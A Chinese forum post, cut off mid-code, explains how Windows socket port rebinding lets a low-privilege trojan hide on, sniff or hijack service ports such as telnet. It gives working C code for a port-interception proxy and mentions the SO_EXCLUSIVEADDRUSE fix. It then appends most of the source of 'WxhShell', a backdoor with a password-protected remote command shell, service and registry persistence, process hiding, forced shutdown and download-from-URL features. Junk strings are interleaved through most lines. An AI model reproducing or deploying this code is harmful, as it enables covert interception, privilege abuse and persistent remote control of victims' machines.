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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n$(p-po  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |7@O( $b  
ejXMKPE;  
  saddr.sin_family = AF_INET; ,pBh`av  
B[9 (FRX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7P7b8 ]  
!rhk $ L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (3dPLp:K  
=IKEb#R/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /VHi >  
s4H2/EC  
  这意味着什么?意味着可以进行如下的攻击: |3? 8)z\n  
OU7 %V)X5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8p1ziz`4>$  
k8]O65t|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =i HiPvP0  
:!zC"d9@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MK}-<&v  
NV r0M?`4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +{53a_q  
F&;   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5f:DN\ ]  
XUV!C 7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i.1U|Pi  
DDd|T;8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  StYzGJ  
VK3it3FI>3  
  #include o5aLU Wi-  
  #include c3 &m9zC  
  #include ;pRcVL_4  
  #include    zX7q:Pt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )$x_!=@1  
  int main() $(q>mg:H  
  { y0ckm6^  
  WORD wVersionRequested; P|jF6?C  
  DWORD ret; =GR 'V  
  WSADATA wsaData; Dmdy=&G  
  BOOL val; hF&}lPVtv  
  SOCKADDR_IN saddr; !Ngw\@f  
  SOCKADDR_IN scaddr; %|XE#hw  
  int err; 8Og3yFx[rt  
  SOCKET s; 1q.(69M  
  SOCKET sc; #< CIFVH  
  int caddsize; #NRh\Wj|  
  HANDLE mt; Ey&aB YR  
  DWORD tid;   gH:ArfC  
  wVersionRequested = MAKEWORD( 2, 2 ); 7uI#L}y  
  err = WSAStartup( wVersionRequested, &wsaData ); %3Bpn=k>  
  if ( err != 0 ) { :wgfW .w  
  printf("error!WSAStartup failed!\n"); rlznwfr7+  
  return -1; ,|To#umym>  
  } S-Ai3)t6  
  saddr.sin_family = AF_INET; >[*4Tjg  
   =l`OHTg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RazBc.o<  
&2.+I go|G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xFsmf<Vm  
  saddr.sin_port = htons(23); ESDB[ O+`x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XT||M)#  
  { ` Q9+k<  
  printf("error!socket failed!\n");  wRVD_?  
  return -1; y(8d?]4:_  
  } n,KA&)/s  
  val = TRUE; am:.NG+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O{n<WQd{CY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Vm!i  
  { _+zVpZ  
  printf("error!setsockopt failed!\n"); .C5@QKU  
  return -1; pT=2e&  
  } 1VfSSO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g@E&uyM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K}2Npo FS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RG? MRxC  
,h!X k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aJ2H.E  
  { wD=am  
  ret=GetLastError(); R{<Y4C2~  
  printf("error!bind failed!\n"); BLW]|p|1:  
  return -1; ]p$zvMf}  
  } \GHOg.P  
  listen(s,2); ~ hD{coVTI  
  while(1) C ktX0  
  { .;slrg(5F  
  caddsize = sizeof(scaddr); Ed=}PrE  
  //接受连接请求 & s-VSu7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [.U^Wrd  
  if(sc!=INVALID_SOCKET) 6_ ]8\n  
  { ^/{4'\p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aQh?}=da  
  if(mt==NULL) l;5`0N?QO  
  { }jcIDiSu  
  printf("Thread Creat Failed!\n"); Opry`}5h  
  break; CZfE |T~  
  } b"P&+c  
  } `Qq/ F]  
  CloseHandle(mt); -kc(u1!  
  } qC.i6IL  
  closesocket(s); 0Bu*g LY  
  WSACleanup(); kJeu40oN  
  return 0; LR\zy8y]  
  }   :A*0]X;  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6EP~F8Kd  
  { +:y&{K  
  SOCKET ss = (SOCKET)lpParam; lA4hm4"i(,  
  SOCKET sc; &(0N.=R  
  unsigned char buf[4096]; O0zi@2m?B  
  SOCKADDR_IN saddr;  V IYV92[  
  long num; wWFW,3b  
  DWORD val; >p |yf. G  
  DWORD ret; xSOoIsL[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MHNe>C-!q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H%~Q?4  
  saddr.sin_family = AF_INET; 6JWGu/A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8GW ut=D  
  saddr.sin_port = htons(23); SW=aHM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *2#FRA#q  
  { P#F_>GB  
  printf("error!socket failed!\n"); q]+)c2M  
  return -1; i;avwP<0  
  } %/md"S  
  val = 100; 2 mq%|VG'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QqjTLuN  
  { ?N2X)Y@yi  
  ret = GetLastError(); /KP_Vc:g2_  
  return -1; b.,$# D{p  
  } L"9 Gc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1)gv%_  
  { +/}_%Cf8  
  ret = GetLastError(); !*8#jy  
  return -1; PAr|1i)mB  
  } .f+9 A>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RSFJu\0}N  
  { jDJ.  
  printf("error!socket connect failed!\n"); Hz5;Ruw'  
  closesocket(sc); sM0c#YK?  
  closesocket(ss); Kv1vx*>  
  return -1; WRY~fM  
  } F*X%N_n  
  while(1) w. vY(s  
  { ,0FwBK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =E; #OZO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CHg]Ul  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z3Gm  
  num = recv(ss,buf,4096,0); ,NDxFy;d  
  if(num>0) !rz)bd3$  
  send(sc,buf,num,0); *seu&  
  else if(num==0) @n>{&^-c  
  break; < )Alb\Z  
  num = recv(sc,buf,4096,0); (Q\\Gw   
  if(num>0) at=D&oy4"+  
  send(ss,buf,num,0); ?U$}Rsk{#  
  else if(num==0) .u&|e  
  break; bt0djJRw  
  } Gk{W:866  
  closesocket(ss); V!H(;Tuuo  
  closesocket(sc); |O%:P}6c  
  return 0 ; O<bDU0s{M  
  } z,M'Tr.1|  
n~9 i^  
GPMrs)J*!  
========================================================== 2h5tBEOX.s  
\!m!ibr  
下边附上一个代码,,WXhSHELL ,v|CombIc.  
v)%[  
========================================================== /5jKX 5r  
N*HH,m&  
#include "stdafx.h" u1wg C#  
kz$(V(k<  
#include <stdio.h> >QA/Mi~R  
#include <string.h> 'G52<sF  
#include <windows.h> 2(hvv-  
#include <winsock2.h> pEY>A_F  
#include <winsvc.h> Q;=6ag'  
#include <urlmon.h> FBYll[8  
)K8P+zn~  
#pragma comment (lib, "Ws2_32.lib") dEL3?-;'  
#pragma comment (lib, "urlmon.lib") 5Zzr5 WM  
n#)PvV~  
#define MAX_USER   100 // 最大客户端连接数 l&vm[3  
#define BUF_SOCK   200 // sock buffer K* 0 aXr?  
#define KEY_BUFF   255 // 输入 buffer jGJ.Pvc>i  
;gdi=>S_  
#define REBOOT     0   // 重启 S!u6dz^[$X  
#define SHUTDOWN   1   // 关机 Al=(sHc'  
ip<15;Z  
#define DEF_PORT   5000 // 监听端口 _r~!O$2  
G OH  
#define REG_LEN     16   // 注册表键长度 ,0BR-#  
#define SVC_LEN     80   // NT服务名长度  4c  
#_on{I  
// 从dll定义API |X,$?ZDap  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4t,zHR6W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oo;;y,`8py  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IkiQ Ok  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !T)T_P[  
Ng?apaIi@~  
// wxhshell配置信息 |)m*EME  
struct WSCFG { #,7eQaica  
  int ws_port;         // 监听端口 2O$95 M  
  char ws_passstr[REG_LEN]; // 口令 q;CayN'I  
  int ws_autoins;       // 安装标记, 1=yes 0=no w9/nVu  
  char ws_regname[REG_LEN]; // 注册表键名 >0kmRVd  
  char ws_svcname[REG_LEN]; // 服务名 Czq1 kz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xX[?L9RGz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U? {'n#n 5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F\o;t:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '.=Wk^,Ua  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I93 ~8wQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W^5<XX,ON  
-J-3_9I  
}; ;r gH}r  
A*G )CG  
// default Wxhshell configuration Lhl$w'r  
struct WSCFG wscfg={DEF_PORT, cxAViWsf  
    "xuhuanlingzhe", TP{>O%b  
    1, ~gSwxGT7d  
    "Wxhshell", 'bZMh9|  
    "Wxhshell", YgO aZqN  
            "WxhShell Service", *?EO n-  
    "Wrsky Windows CmdShell Service", (~q#\  
    "Please Input Your Password: ", Pz5ebhgq  
  1, IOSuaLH^  
  "http://www.wrsky.com/wxhshell.exe", k&MlQ2'!<  
  "Wxhshell.exe" ox!|)^`$_  
    }; 0@II &  
(45NZBs  
// 消息定义模块 <QYCo1_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FE0qw1{qQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HiQoRk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l*F!~J3  
char *msg_ws_ext="\n\rExit."; HXD*zv@ *6  
char *msg_ws_end="\n\rQuit."; #citwMW  
char *msg_ws_boot="\n\rReboot..."; l,imT$u  
char *msg_ws_poff="\n\rShutdown..."; #]5&mKi  
char *msg_ws_down="\n\rSave to "; y%{*uH}SL  
qk_p}l-F1  
char *msg_ws_err="\n\rErr!"; %GVEY  
char *msg_ws_ok="\n\rOK!"; [ c ~LY4:  
H.jLGe>  
char ExeFile[MAX_PATH]; :5TXA  
int nUser = 0; 0C lX  
HANDLE handles[MAX_USER]; uAW*5 `[  
int OsIsNt; ?)Tz'9l  
?l)}E  
SERVICE_STATUS       serviceStatus; ^Nd|+}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dH ^b)G4  
tqff84  
// 函数声明 `f\5p+!<7R  
int Install(void); c%q}"Y0oh  
int Uninstall(void); J0IdFFZ|w  
int DownloadFile(char *sURL, SOCKET wsh); ;FV~q{  
int Boot(int flag); !L &=?CX  
void HideProc(void); Zp/qs z(]  
int GetOsVer(void); ^2&O3s  
int Wxhshell(SOCKET wsl); Uq9,(tV`6g  
void TalkWithClient(void *cs); wQF&GGY R  
int CmdShell(SOCKET sock); <7vIh0  
int StartFromService(void); ",MK'\E  
int StartWxhshell(LPSTR lpCmdLine);  aX>4Tw  
?)A]q' O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "o\6k"_c>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G=r(SJq  
Gk{ "O%AE  
// 数据结构和表定义 4 +da  
SERVICE_TABLE_ENTRY DispatchTable[] = t-v^-#  
{ 9s;!iDFn  
{wscfg.ws_svcname, NTServiceMain}, OhSt6&+  
{NULL, NULL} |%M{k A-  
}; sYAG,r>h  
bqZ?uvc3  
// 自我安装 O4 +SD  
int Install(void) Ff)~clIK '  
{ H3 A]m~=3  
  char svExeFile[MAX_PATH]; C$N4   
  HKEY key; [oQ`HX1g  
  strcpy(svExeFile,ExeFile); /7UovKKbz  
"<cB73tY  
// 如果是win9x系统,修改注册表设为自启动 ~)! V8  
if(!OsIsNt) { )z ?&" I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 902!M65[rG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Op%,,Db  
  RegCloseKey(key); >)AE |j`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /tId#/Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ev$-P X  
  RegCloseKey(key); 8I5VrT  
  return 0; |1_$! p  
    } w*&n(zJF>  
  } <2o.,2?G  
} g(@$uJ  
else { ^Ff~j&L@{  
!Zk%P  
// 如果是NT以上系统,安装为系统服务 f^[{k {t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ="#:=i]  
if (schSCManager!=0) Y\z^\k  
{ ,p[\fT($]  
  SC_HANDLE schService = CreateService nJ'>#9~a'>  
  ( VurP1@e&  
  schSCManager, #VQGN2bK.  
  wscfg.ws_svcname, '-nuH;r  
  wscfg.ws_svcdisp, e B(S+p?  
  SERVICE_ALL_ACCESS, DWm;&RPJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  rvwl  
  SERVICE_AUTO_START, Ab^>z  
  SERVICE_ERROR_NORMAL, l ))~&  
  svExeFile, %U=S6<lbj;  
  NULL, ~n8*@9[  
  NULL, *oX  
  NULL, Up /eV}C  
  NULL, RAD4q"}k  
  NULL X-G~/n-x  
  ); ])$. "g  
  if (schService!=0) v)C:E9!|  
  { ={mPg+Ei'  
  CloseServiceHandle(schService); (IoPU+1b  
  CloseServiceHandle(schSCManager); y:hCBgc;`c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7{kpx$:_  
  strcat(svExeFile,wscfg.ws_svcname); QigoRB!z#9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ads<-.R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^;Hi/KvM\  
  RegCloseKey(key); 3G%XG{dg  
  return 0; 2h|(8f:y  
    } /C,>  
  } |ZST Y}RXA  
  CloseServiceHandle(schSCManager); ?|Q5]rhs  
} Vtz yB  
} 7=QC+XSO  
Pw^c2TQ  
return 1; Ye\*b? 6  
} {g!exbVf  
_Pfx_+  
// 自我卸载 #v~S",*.f  
int Uninstall(void) z`xz~9a<  
{ "j.oR}s9?#  
  HKEY key; z2s|.M]&-D  
r 0?hX  
if(!OsIsNt) { p~d)2TC4#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }VGI Y>v  
  RegDeleteValue(key,wscfg.ws_regname); vS J<  
  RegCloseKey(key); Z68Wf5@to&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 .&Or4>  
  RegDeleteValue(key,wscfg.ws_regname); :,}:c%-^"  
  RegCloseKey(key); ]UCk_zWsn1  
  return 0; ik1L  
  } R.2KYhp ,  
} rmg";(I  
} k^dCX+  
else { ?{.b9`  
8x^H<y=O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mtWx ?x  
if (schSCManager!=0) v_@#hf3  
{ P^_d$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ng_rb KXC#  
  if (schService!=0) \}4#**]  
  { %:be{Y6  
  if(DeleteService(schService)!=0) { RZ/+ K=  
  CloseServiceHandle(schService); Og;$P 'U  
  CloseServiceHandle(schSCManager); C5sN[  
  return 0; '+q'H  
  } sw qky5_K  
  CloseServiceHandle(schService); E/L?D  
  } P=SxiXsr$  
  CloseServiceHandle(schSCManager); 9a~BAH,j  
} 6ImV5^l  
} &;@b&p+  
X!M fJ^)q  
return 1; Xv5Ev@T  
} Y(I*%=:$  
;5oH6{7_Z  
// 从指定url下载文件 dV2b)p4J  
int DownloadFile(char *sURL, SOCKET wsh) EhP&L?EL  
{ Bn#HJ17/#  
  HRESULT hr; ]N(zom_0d  
char seps[]= "/"; ">D(+ xr!)  
char *token; |Qt`p@W  
char *file; ukDH@/  
char myURL[MAX_PATH]; Alk* "p  
char myFILE[MAX_PATH]; l~6SR  
e2h k  
strcpy(myURL,sURL); C#?d=x  
  token=strtok(myURL,seps); b1>$sPJ+  
  while(token!=NULL) RJ@e5A6_  
  { :J4C'N  
    file=token; )r|zi Z{F  
  token=strtok(NULL,seps); #:\+7mCF  
  } J*lYH]s  
MTITIecw=  
GetCurrentDirectory(MAX_PATH,myFILE); VGDEP!)-8  
strcat(myFILE, "\\"); z5*O@_r+.b  
strcat(myFILE, file); VY&9kN  
  send(wsh,myFILE,strlen(myFILE),0); tSXjp  
send(wsh,"...",3,0); {}_Oo%IVGK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n,Mw# r?y  
  if(hr==S_OK) @%@^5  
return 0; %{VI-CQ  
else %"KWjwp  
return 1; l-h7ksRs  
L pi _uK  
} ,cO)Sxj  
$ p1EqVu  
// 系统电源模块 rgZ rE;*;  
int Boot(int flag) @Kb|  
{ e/% ;  
  HANDLE hToken; 1yRd10  
  TOKEN_PRIVILEGES tkp; l;VGJMPi  
(b 2^d  
  if(OsIsNt) { pu)9"Ad[ G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +q=jB-eIx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S~(VcC$K  
    tkp.PrivilegeCount = 1; -JO46 #m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o(SJuZC/U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z-p^3t'{  
if(flag==REBOOT) { &$z1Hz+l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cp?P@-  
  return 0; z?_}+  
} 0_zSQn9c  
else { AA& dZjz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MLIQ 8=  
  return 0; O>F.Wf5g  
} eWk2YP!  
  } zt?w n* _  
  else { o-CJdOS  
if(flag==REBOOT) { "N/K*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1H[;7@o$e  
  return 0; QEHZ=Yg%3  
} W6/p-e5y  
else { +#db_k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r`g;k&"a  
  return 0; z4fK{S  
} ]:#$6D"  
} ds[Z=_Ll  
kuud0VWJ  
return 1; Jsnmn$C  
} 3@ukkO)   
zr9Pm6Rl  
// win9x进程隐藏模块 &E '>+6  
void HideProc(void) RkV3_c  
{ Sm_:SF!<D6  
9C~GL,uKs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n *0F  
  if ( hKernel != NULL ) o%>nu  
  { nMoF;AdKm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Oc+L^}elJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4_:e+ ql  
    FreeLibrary(hKernel); 43Uy<%yb>}  
  } VQ;- dCV  
r$eL-jQmn  
return; |w]i$`3'I  
} &ziB#(&:H  
8A]q!To  
// 获取操作系统版本 ;B7|tajd  
int GetOsVer(void) G8-d%O p  
{ p;Ok.cXVp  
  OSVERSIONINFO winfo; 0 S8{VZpy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  !3M!p&  
  GetVersionEx(&winfo); 95&sFT C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J 2~B<=V  
  return 1; l+X^x%EA  
  else Sh6 NgO  
  return 0; a#Gq J?nY  
} (xJBN?NRO  
"MP{z~M mj  
// 客户端句柄模块 \`9|~!,Ix7  
int Wxhshell(SOCKET wsl) { 3P!b|V>  
{ o@~gg *  
  SOCKET wsh; }4`YdN  
  struct sockaddr_in client; xT( .#9  
  DWORD myID; GuDD7~qxY  
}33Au-%*  
  while(nUser<MAX_USER) .%h_W\M<l  
{ `fVA. %  
  int nSize=sizeof(client); -* j;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V"p*Jd"w  
  if(wsh==INVALID_SOCKET) return 1; B>L^XGq  
Z{)|w=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2YEn)A@8  
if(handles[nUser]==0) n{* [Y  
  closesocket(wsh); p)] ^>-L  
else  0d)n} fm  
  nUser++; @d9*<>@:  
  } C>-"*Lt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~a)2 0  
t?&ajh  
  return 0; *g.,[a0  
} CA~S$H\"  
yE/I)GOQjs  
// 关闭 socket %['F[Mo  
void CloseIt(SOCKET wsh) Nq1RAM  
{ 8u23@?  
closesocket(wsh); ]qQB+]WN  
nUser--; }z@hx@N/  
ExitThread(0); TJa%zi  
} z$,hdZ]  
(VR nv  
// 客户端请求句柄 a[#BlH  
void TalkWithClient(void *cs) tjL#?j  
{ wQ95tN  
yZ6X$I:C  
  SOCKET wsh=(SOCKET)cs; PSvRO% &  
  char pwd[SVC_LEN]; nI` 1@ vB&  
  char cmd[KEY_BUFF]; @72G*u\Wz  
char chr[1]; h<jIg$rA  
int i,j; <m\TZQBD  
DvKMb-*S  
  while (nUser < MAX_USER) { C u5 - w  
7k3\_BHyb\  
if(wscfg.ws_passstr) { ";%1sK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $x<-PN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {GY$J<5=  
  //ZeroMemory(pwd,KEY_BUFF); RAa1KOxZX  
      i=0; -#hl& ^u$  
  while(i<SVC_LEN) { d@~)Wlje  
#-8/|_*  
  // 设置超时 /;J;,G`?  
  fd_set FdRead; HxAa,+k  
  struct timeval TimeOut; z(` kWF1<  
  FD_ZERO(&FdRead); OTm"Iwzu@  
  FD_SET(wsh,&FdRead); Ds$;{wl#x  
  TimeOut.tv_sec=8; F U%b"gP^  
  TimeOut.tv_usec=0; 6 >2! kM7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zj}efv<e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w}0PtzOe  
Z!6G (zz:>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Y$1OA8  
  pwd=chr[0]; Il[WXt<S  
  if(chr[0]==0xd || chr[0]==0xa) { 3x$#L!VuU  
  pwd=0; x-EAu 3=V  
  break; xr-scdh2  
  } "^7Uk#! 7  
  i++; qz):YHxT]n  
    } b ;b1 V  
GH!#"Sl8Z  
  // 如果是非法用户,关闭 socket -. G0k*[d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (["u"m%  
} uhLW/?q.  
g [K8G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EJsb{$u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ""=Vt]  
 #Ki@=*  
while(1) { fNumY|%3  
$1F9TfA  
  ZeroMemory(cmd,KEY_BUFF); 4O'ho0w7  
k3w#^ "i  
      // 自动支持客户端 telnet标准   1F-L( \oKm  
  j=0; a7R7Ks|q  
  while(j<KEY_BUFF) { qx NV~aK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _,QUH"  
  cmd[j]=chr[0]; bzTM{<]sv  
  if(chr[0]==0xa || chr[0]==0xd) { G"(!5+DLy  
  cmd[j]=0; ~5zhK:7c  
  break; 4H)a7 <,  
  } 9lwg`UWl,  
  j++; mD:!"h/  
    } '>8N'*  
D[_2:8  
  // 下载文件 mv_-|N~  
  if(strstr(cmd,"http://")) { 4i\n1RW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j  jQ=  
  if(DownloadFile(cmd,wsh)) v}U;@3W8U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B("kE`  
  else _;9)^})$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4ai3@f5  
  } p;HZA}p \  
  else { G}x^PJJt  
{$JIR}4S  
    switch(cmd[0]) { }0o0"J-$  
  |gNOv;l  
  // 帮助 `CBTZG09  
  case '?': { }T@AoIR0t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >2r/d  
    break; gvX7+F=}B  
  } 60m1 >"  
  // 安装 n/-I7Q!;u  
  case 'i': { {Ffr l(*  
    if(Install()) bk 2vce&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2epL!j)Wh  
    else uu:BN0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f#?R!pR  
    break; ^"I!+Teb  
    } P]G2gDO  
  // 卸载 lnhZ!_  
  case 'r': { \4 DH&gZ[  
    if(Uninstall()) k K(,FB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e): &pqA  
    else ! d(,t[cV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3z#16*  
    break; KR63W:Z\'  
    } fjf\/%  
  // 显示 wxhshell 所在路径 *e=e7KC6kI  
  case 'p': { RN;Tqq):  
    char svExeFile[MAX_PATH]; ;)*Drk*t,  
    strcpy(svExeFile,"\n\r"); 4^ A\w  
      strcat(svExeFile,ExeFile); H~&'`h1  
        send(wsh,svExeFile,strlen(svExeFile),0); _F$?Z  
    break; :DEZ$gi  
    } mOBS[M5*  
  // 重启 59|Tmf(dS;  
  case 'b': { MZ.Jkf(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UCFef,VW  
    if(Boot(REBOOT)) fu/v1~X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [>fE{ ~Y  
    else { iqpy5  
    closesocket(wsh); gs'( px  
    ExitThread(0); *l}q,9iQ-  
    } cK""Xz&m  
    break; ZCa?uzeo]  
    } BX?Si1c  
  // 关机  z>!b  
  case 'd': { ?%?@?W>s@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SI\zW[IL  
    if(Boot(SHUTDOWN)) 9 HuE'(wQ  
